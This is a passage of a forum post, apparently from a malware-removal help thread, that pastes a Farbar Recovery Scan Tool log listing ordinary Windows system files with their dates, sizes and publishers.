2017-03-18 22:59 - 2017-03-18 22:59 - 00387072 _____ (Microsoft Corporation) C:\windows\system32\mswmdm.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00385536 _____ (Microsoft Corporation) C:\windows\system32\bdesvc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00381952 _____ (Microsoft Corporation) C:\windows\system32\tpmvsc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00375296 _____ (Microsoft Corporation) C:\windows\system32\WPDSp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00358912 _____ (Microsoft Corporation) C:\windows\SysWOW64\P2PGraph.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00356864 _____ (Microsoft Corporation) C:\windows\system32\fveapibase.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00354816 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.BioFeedback.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00347648 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Picker.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00340480 _____ (Microsoft Corporation) C:\windows\SysWOW64\html.iec
2017-03-18 22:59 - 2017-03-18 22:59 - 00335360 _____ (Microsoft Corporation) C:\windows\system32\photowiz.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00333824 _____ (Microsoft Corporation) C:\windows\system32\ConsoleLogon.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00327168 _____ (Microsoft Corporation) C:\windows\system32\WinBioDataModel.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00326144 _____ (Microsoft Corporation) C:\windows\SysWOW64\srchadmin.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00325120 _____ (Microsoft Corporation) C:\windows\system32\fvecpl.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00308224 _____ (Microsoft Corporation) C:\windows\system32\rasppp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00306176 _____ (Microsoft Corporation) C:\windows\system32\fveui.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00304640 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxdiag.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00293888 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasppp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00288288 _____ (Microsoft Corporation) C:\windows\system32\bdeunlock.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00275456 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxdiagn.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00271872 _____ (Microsoft Corporation) C:\windows\system32\spp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00269824 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Picker.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00267264 _____ (Microsoft Corporation) C:\windows\system32\rstrui.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00256512 _____ (Microsoft Corporation) C:\windows\system32\cewmdm.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00254464 _____ (Microsoft Corporation) C:\windows\system32\elshyph.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00253656 _____ (Microsoft Corporation) C:\windows\SysWOW64\WMASF.DLL
2017-03-18 22:59 - 2017-03-18 22:59 - 00248320 _____ (Microsoft Corporation) C:\windows\system32\srrstr.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00243200 _____ (Microsoft Corporation) C:\windows\SysWOW64\PresentationHost.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00237568 _____ (Microsoft Corporation) C:\windows\system32\FXSCOVER.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00233472 _____ (Microsoft Corporation) C:\windows\SysWOW64\url.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00223744 _____ (Microsoft Corporation) C:\windows\system32\wpd_ci.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00222720 _____ (Microsoft Corporation) C:\windows\SysWOW64\drt.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00215040 _____ (Microsoft Corporation) C:\windows\system32\manage-bde.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00192000 _____ (Microsoft Corporation) C:\windows\system32\recdisc.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00183808 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceTypes.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00181248 _____ (Microsoft Corporation) C:\windows\system32\FXSUTILITY.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00178176 _____ (Microsoft Corporation) C:\windows\SysWOW64\p2pnetsh.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00174592 _____ (Microsoft Corporation) C:\windows\system32\fvenotify.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00173056 _____ (Microsoft Corporation) C:\windows\SysWOW64\P2P.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00167424 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrdc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00156672 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.XamlHost.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00154624 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceWiaCompat.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00153088 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.DeviceEncryptionHandlers.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00152064 _____ (Microsoft Corporation) C:\windows\SysWOW64\iexpress.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00151552 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmidx.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00145920 _____ (Microsoft Corporation) C:\windows\system32\sdrsvc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00143672 _____ (Microsoft Corporation) C:\windows\SysWOW64\imm32.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00141312 _____ (Microsoft Corporation) C:\windows\system32\BitLockerDeviceEncryption.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00140288 _____ (Microsoft Corporation) C:\windows\SysWOW64\verifiergui.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00136192 _____ (Microsoft Corporation) C:\windows\SysWOW64\wextract.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00129024 _____ (Microsoft Corporation) C:\windows\system32\racpldlg.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\raserver.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00127488 _____ (Microsoft Corporation) C:\windows\system32\repair-bde.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00126976 _____ (Microsoft Corporation) C:\windows\SysWOW64\occache.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00125440 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.XamlHost.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00124928 _____ (Microsoft Corporation) C:\windows\system32\msrahc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\sdshext.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceClassExtension.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00123392 _____ (Microsoft Corporation) C:\windows\SysWOW64\ieUnatt.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00120320 _____ (Microsoft Corporation) C:\windows\SysWOW64\IEAdvpack.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00110592 _____ (Microsoft) C:\windows\system32\SMBHelperClass.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00104960 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakrathunk.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00102912 _____ (Microsoft Corporation) C:\windows\system32\BdeHdCfgLib.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00102400 _____ (Microsoft Corporation) C:\windows\system32\BitLockerWizardElev.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00099328 _____ (Microsoft Corporation) C:\windows\system32\XPSSHHDR.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00098304 _____ (Microsoft Corporation) C:\windows\SysWOW64\iesysprep.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00097280 _____ (Microsoft Corporation) C:\windows\SysWOW64\inseng.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00095744 _____ (Microsoft Corporation) C:\windows\system32\wmdmps.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00091152 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dumpfve.sys
2017-03-18 22:59 - 2017-03-18 22:59 - 00089600 _____ (Microsoft Corporation) C:\windows\system32\pwrshplugin.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00086016 _____ (Microsoft Corporation) C:\windows\system32\wpdbusenum.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00084480 _____ (Microsoft Corporation) C:\windows\SysWOW64\logagent.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00083968 _____ (Microsoft) C:\windows\SysWOW64\SMBHelperClass.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00083968 _____ (Microsoft Corporation) C:\windows\system32\srhelper.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00083456 _____ (Microsoft Corporation) C:\windows\system32\TSSessionUX.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00081408 _____ (Microsoft Corporation) C:\windows\SysWOW64\XPSSHHDR.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00080896 _____ (Microsoft Corporation) C:\windows\SysWOW64\Chakradiag.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00079872 _____ (Microsoft Corporation) C:\windows\SysWOW64\tasklist.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\sxproxy.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00077312 _____ (Microsoft Corporation) C:\windows\SysWOW64\systeminfo.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00076060 _____ C:\windows\SysWOW64\xpsrchvw.xml
2017-03-18 22:59 - 2017-03-18 22:59 - 00076060 _____ C:\windows\system32\xpsrchvw.xml

Twix. 06.06.2017 11:42
FRST4:
Code:
2017-03-18 22:59 - 2017-03-18 22:59 - 00074752 _____ (Microsoft Corporation) C:\windows\system32\MsSpellCheckingHost.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00074240 _____ (Microsoft Corporation) C:\windows\SysWOW64\taskkill.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00072704 _____ (Microsoft Corporation) C:\windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\srclient.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\pwrshplugin.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\pnrpnsp.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00070144 _____ (Microsoft Corporation) C:\windows\SysWOW64\iesetup.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\vsstrace.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\scavengeui.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\PortableDeviceConnectApi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\fveskybackup.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\MshtmlDac.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00064000 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeedsbs.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00064000 _____ (Microsoft Corporation) C:\windows\system32\WPDShServiceObj.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00061072 _____ (Microsoft Corporation) C:\windows\SysWOW64\rtmmvrortc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00059392 _____ (Microsoft Corporation) C:\windows\SysWOW64\pngfilt.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00058880 _____ (Microsoft Corporation) C:\windows\SysWOW64\EdgeManager.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00057856 _____ (Microsoft Corporation) C:\windows\SysWOW64\drtprov.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00057856 _____ (Microsoft Corporation) C:\windows\system32\SrTasks.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00056832 _____ (Microsoft Corporation) C:\windows\system32\WinBioDataModelOOBE.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00052736 _____ (Microsoft Corporation) C:\windows\system32\BdeUISrv.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00050688 _____ (Microsoft Corporation) C:\windows\SysWOW64\vsstrace.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00050176 _____ (Microsoft Corporation) C:\windows\SysWOW64\PresentationHostProxy.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00050176 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Shell.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\sdchange.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00049664 _____ (Microsoft Corporation) C:\windows\system32\bderepair.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00049152 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshtmler.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00043008 _____ (Microsoft Corporation) C:\windows\SysWOW64\drttransport.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00041472 _____ (Microsoft Corporation) C:\windows\SysWOW64\regini.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00041472 _____ (Microsoft Corporation) C:\windows\SysWOW64\Magnification.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\wsepno.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\wmdmlog.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00039424 _____ (Microsoft Corporation) C:\windows\SysWOW64\imgutil.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00037376 _____ (Microsoft Corporation) C:\windows\SysWOW64\iernonce.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00035840 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Internal.SecurityMitigationsBroker.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\FXSCOMPOSERES.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00034816 _____ (Microsoft Corporation) C:\windows\system32\bdeui.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\ms3dthumbnailprovider.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00030912 _____ (Microsoft Corporation) C:\windows\system32\aspnet_counters.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00030624 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WpdUpFltr.sys
2017-03-18 22:59 - 2017-03-18 22:59 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\WPDShextAutoplay.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\WofTasks.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00028448 _____ (Microsoft Corporation) C:\windows\SysWOW64\CameraSettingsUIHost.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00026624 _____ (Microsoft Corporation) C:\windows\SysWOW64\licmgr10.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\srwmi.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\fvecerts.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00026112 _____ (Microsoft Corporation) C:\windows\SysWOW64\ms3dthumbnailprovider.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\bootim.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\Direct2DDesktop.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\VscMgrPS.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\srdelayed.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00018600 _____ (Microsoft Corporation) C:\windows\system32\msvcr100_clr0400.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\eventcls.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00015872 _____ (Microsoft Corporation) C:\windows\SysWOW64\eventcls.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00013824 _____ (Microsoft Corporation) C:\windows\SysWOW64\msfeedssync.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\VscMgrPS.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\mshta.exe
2017-03-18 22:59 - 2017-03-18 22:59 - 00012800 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d8thk.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00010429 _____ C:\windows\system32\ScavengeSpace.xml
2017-03-18 22:59 - 2017-03-18 22:59 - 00010240 _____ (Microsoft Corporation) C:\windows\SysWOW64\LAPRXY.DLL
2017-03-18 22:59 - 2017-03-18 22:59 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\f3ahvoas.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\MsraLegacy.tlb
2017-03-18 22:59 - 2017-03-18 22:59 - 00006656 _____ (Microsoft Corporation) C:\windows\system32\rendezvousSession.tlb
2017-03-18 22:59 - 2017-03-18 22:59 - 00004608 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleaccrc.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00004608 _____ (Microsoft Corporation) C:\windows\system32\SrEvents.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\asferror.dll
2017-03-18 22:59 - 2017-03-18 22:59 - 00002349 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Immersive Control Panel.lnk
2017-03-18 22:59 - 2017-03-18 22:59 - 00001649 _____ C:\windows\system32\WindowsCodecsRaw.txt
2017-03-18 22:58 - 2017-03-18 22:59 - 01292872 _____ (Microsoft Corporation) C:\windows\SysWOW64\user32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 23588352 _____ (Microsoft Corporation) C:\windows\SysWOW64\imageres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 23588352 _____ (Microsoft Corporation) C:\windows\system32\imageres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 15595792 _____ (Microsoft Corporation) C:\windows\SysWOW64\DDORes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 09569280 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 08211968 _____ (Microsoft Corporation) C:\windows\system32\mstscax.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 07596544 _____ (Microsoft Corporation) C:\windows\SysWOW64\mstscax.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 07149056 _____ (Microsoft Corporation) C:\windows\system32\mos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 06726656 _____ (Microsoft Corporation) C:\windows\system32\mspaint.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 06535168 _____ (Microsoft Corporation) C:\windows\SysWOW64\mspaint.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 06123520 _____ (Microsoft Corporation) C:\windows\SysWOW64\mos.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 05865376 _____ (Microsoft Corporation) C:\windows\SysWOW64\spwizimg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 05499904 _____ (Microsoft Corporation) C:\windows\system32\aclui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 05386240 _____ (Microsoft Corporation) C:\windows\SysWOW64\aclui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 05100544 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthFWSnapin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04330920 _____ (Microsoft Corporation) C:\windows\SysWOW64\setupapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04238336 _____ (Microsoft) C:\windows\SysWOW64\GameUXLegacyGDFs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04238336 _____ (Microsoft) C:\windows\system32\GameUXLegacyGDFs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04212624 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.StateRepository.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04175360 _____ (Microsoft Corporation) C:\windows\SysWOW64\WlanMM.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 04050944 _____ (Microsoft Corporation) C:\windows\SysWOW64\msi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03826176 _____ C:\windows\system32\Windows.UI.Input.Inking.Analysis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03798016 _____ (Microsoft Corporation) C:\windows\SysWOW64\accessibilitycpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03490304 _____ (Microsoft Corporation) C:\windows\system32\mispace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03440660 _____ C:\windows\SysWOW64\Drivers\gm.dls
2017-03-18 22:58 - 2017-03-18 22:58 - 03379712 _____ (Microsoft Corporation) C:\windows\system32\tquery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03365888 _____ (Microsoft Corporation) C:\windows\system32\SyncCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03304448 _____ (Microsoft Corporation) C:\windows\system32\mstsc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 03291136 _____ (Microsoft Corporation) C:\windows\system32\MSAJApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03283968 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncCenter.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03200000 _____ C:\windows\SysWOW64\Windows.UI.Input.Inking.Analysis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03170304 _____ C:\windows\SysWOW64\boot.sdi
2017-03-18 22:58 - 2017-03-18 22:58 - 03139584 _____ (Microsoft Corporation) C:\windows\system32\msftedit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03110912 _____ (Microsoft Corporation) C:\windows\system32\Microsoft.Bluetooth.Profiles.Gatt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03107328 _____ (Microsoft Corporation) C:\windows\SysWOW64\mstsc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 03057664 _____ (Microsoft Corporation) C:\windows\system32\NetworkMobileSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 03057664 _____ (Microsoft Corporation) C:\windows\system32\CertEnroll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02922496 _____ (Microsoft Corporation) C:\windows\system32\xpsservices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02873344 _____ (Microsoft Corporation) C:\windows\system32\themeui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02871808 _____ (Microsoft Corporation) C:\windows\SysWOW64\mispace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02814464 _____ (Microsoft Corporation) C:\windows\SysWOW64\themeui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02792448 _____ (Microsoft Corporation) C:\windows\SysWOW64\esent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02782720 _____ (Microsoft Corporation) C:\windows\SysWOW64\msftedit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02757120 _____ (Microsoft Corporation) C:\windows\system32\WsmSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02750464 _____ (Microsoft Corporation) C:\windows\SysWOW64\CertEnroll.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02676736 _____ (Microsoft Corporation) C:\windows\system32\Windows.CloudStore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02673152 _____ (Microsoft Corporation) C:\windows\SysWOW64\tquery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02661888 _____ (Microsoft Corporation) C:\windows\SysWOW64\netshell.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02603744 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneCoreUAPCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02597376 _____ (Microsoft Corporation) C:\windows\system32\mssrch.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02502144 _____ (Microsoft Corporation) C:\windows\system32\gameux.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02491904 _____ (Microsoft Corporation) C:\windows\system32\themecpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02475136 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d10warp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02465888 _____ (Microsoft Corporation) C:\windows\system32\msxml6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02462720 _____ (Microsoft Corporation) C:\windows\SysWOW64\themecpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02425856 _____ (Microsoft Corporation) C:\windows\system32\wlansvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02417840 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3d11.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02395136 _____ (Microsoft Corporation) C:\windows\SysWOW64\gameux.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02386432 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAJApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02373632 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmcndmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02367488 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Perception.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02354688 _____ (Microsoft Corporation) C:\windows\SysWOW64\WsmSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02344960 _____ (Microsoft Corporation) C:\windows\SysWOW64\DWrite.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02322432 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSVidCtl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02317312 _____ (Microsoft Corporation) C:\windows\system32\winmsipc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02259968 _____ (Microsoft Corporation) C:\windows\system32\Windows.Graphics.Printing.3D.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02177024 _____ (Microsoft Corporation) C:\windows\system32\OpcServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02155008 _____ (Microsoft Corporation) C:\windows\system32\wlidsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02142720 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Bluetooth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02141696 _____ (Microsoft Corporation) C:\windows\SysWOW64\storagewmi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02132480 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssrch.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 02006528 _____ (Microsoft Corporation) C:\windows\system32\LocationFramework.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01997872 _____ (Microsoft Corporation) C:\windows\SysWOW64\msxml6.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01973760 _____ (Microsoft Corporation) C:\windows\SysWOW64\certmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01966080 _____ (Microsoft Corporation) C:\windows\SysWOW64\xpsservices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01929168 _____ (Microsoft Corporation) C:\windows\system32\DisplaySwitch.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 01915904 _____ (Microsoft Corporation) C:\windows\system32\ConstraintIndex.Search.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01895424 ____R (The ICU Project) C:\windows\system32\icuin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01859072 _____ C:\windows\SysWOW64\Windows.Mirage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01844224 _____ (Microsoft Corporation) C:\windows\system32\Wpc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 01763376 _____ (Microsoft Corporation) C:\windows\system32\WpcMon.exe
